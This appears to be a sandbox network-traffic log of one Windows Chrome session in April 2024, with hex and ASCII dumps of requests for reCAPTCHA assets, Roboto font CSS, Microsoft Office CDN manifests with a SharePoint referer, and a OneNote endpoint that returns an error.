2024-04-26 08:00:24 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-26 08:00:24 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-26 08:00:24 UTC	810	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 5a 43 57 48 45 46 4b 35 61 66 30 69 72 7a 63 4b 67 6c 68 67 4a 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="ZCWHEFK5af0irzcKglhgJg" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-26 08:00:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50045	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:24 UTC	650	OUT	GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:24 UTC	1135	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 196 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:24 GMT Last-Modified: Fri, 26 Apr 2024 05:13:06 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=75653604419254443403157192056259625674"}],"include_subdomains ":true} Server: ECAcc (mid/8783) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 3ef116ce-f01e-0022-55af-97ad1f000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:24 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50046	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:24 UTC	395	OUT	GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:24 UTC	1135	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 207 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:24 GMT Last-Modified: Fri, 26 Apr 2024 00:08:47 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=82592731664116723789454700636837253914"}],"include_subdomains ":true} Server: ECAcc (mid/8720) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: c6431100-101e-002a-4aaf-97b710000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:24 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	50047	52.108.8.12	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:24 UTC	826	OUT	GET /o/OneNote.ashx?perfTag=GetChanges_2 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 08:00:24 UTC	1044	IN	HTTP/1.1 503 Service Unavailable Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 1d6b1a27-85c9-416c-a4c8-237b2e844ee1 X-UserSessionId: 1d6b1a27-85c9-416c-a4c8-237b2e844ee1 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BL6PEPF0001A286 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS13 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF0001A286 X-WacFrontEnd: BL6PEPF0001A286 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: B3735FB36BD74DC29875C4221C6D9FD5 Ref B: MIA301000107045 Ref C: 2024-04-26T08:00:24Z Date: Fri, 26 Apr 2024 08:00:24 GMT Connection: close
2024-04-26 08:00:24 UTC	33	IN	Data Raw: 31 62 0d 0a 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a Data Ascii: 1bThe service is unavailable.
2024-04-26 08:00:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50048	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:24 UTC	396	OUT	GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:25 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 196 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:24 GMT Last-Modified: Fri, 26 Apr 2024 05:13:06 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1441825434320859781712039550503900483871"}],"include_subdomains ":true} Server: ECAcc (mid/8783) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 3ef116ce-f01e-0022-55af-97ad1f000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:25 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50050	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:25 UTC	650	OUT	GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:25 UTC	1135	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 228 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:25 GMT Last-Modified: Fri, 26 Apr 2024 05:52:52 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=28956558638971683774303987348675914418"}],"include_subdomains ":true} Server: ECAcc (mid/8776) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 2199d3ed-201e-0053-51af-974b34000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:25 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50051	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:25 UTC	396	OUT	GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:26 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 229 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:26 GMT Last-Modified: Fri, 26 Apr 2024 05:52:52 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1359045610906998674717788621433573579952"}],"include_subdomains ":true} Server: ECAcc (mid/8776) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 2199d3ed-201e-0053-51af-974b34000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:26 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50052	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:26 UTC	1052	OUT	POST /recaptcha/api2/reload?k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 7910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:26 UTC	7910	OUT	Data Raw: 0a 18 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 12 b9 0f 30 33 41 46 63 57 65 41 36 65 43 39 70 39 61 47 78 78 6b 4e 4d 78 30 76 78 65 77 73 38 62 6c 67 36 41 6f 54 7a 49 38 70 35 32 71 65 6f 43 68 6b 59 64 66 52 78 44 36 37 41 34 33 72 68 74 63 6e 6a 46 69 35 70 51 50 44 45 52 48 6a 44 79 6d 31 76 75 57 74 58 43 47 2d 4c 48 56 76 67 45 32 43 73 55 43 6e 74 53 6b 59 4e 41 62 7a 54 78 44 72 49 4c 66 6e 54 6c 6d 34 4d 39 79 41 41 45 66 48 71 36 73 2d 55 34 4c 68 5f 4f 63 61 58 30 57 38 56 39 44 41 4b 5f 36 4b 32 77 6a 6f 67 61 73 71 59 7a 79 36 72 64 5a 48 46 46 30 42 57 54 6c 78 58 75 41 4a 4b 4e 43 33 4d 75 5a 37 6d 47 35 58 6c 5f 6f 72 71 38 68 69 41 45 4f 30 59 6f 56 68 4f 68 48 52 37 65 41 53 67 74 4d 67 6e 4c 4e 39 77 77 Data Ascii: V6_85qpc2Xf2sbe3xTnRte7m03AFcWeA6eC9p9aGxxkNMx0vxews8blg6AoTzI8p52qeoChkYdfRxD67A43rhtcnjFi5pQPDERHjDym1vuWtXCG-LHVvgE2CsUCntSkYNAbzTxDrILfnTlm4M9yAAEfHq6s-U4Lh_OcaX0W8V9DAK_6K2wjogasqYzy6rdZHFF0BWTlxXuAJKNC3MuZ7mG5Xl_orq8hiAEO0YoVhOhHR7eASgtMgnLN9ww
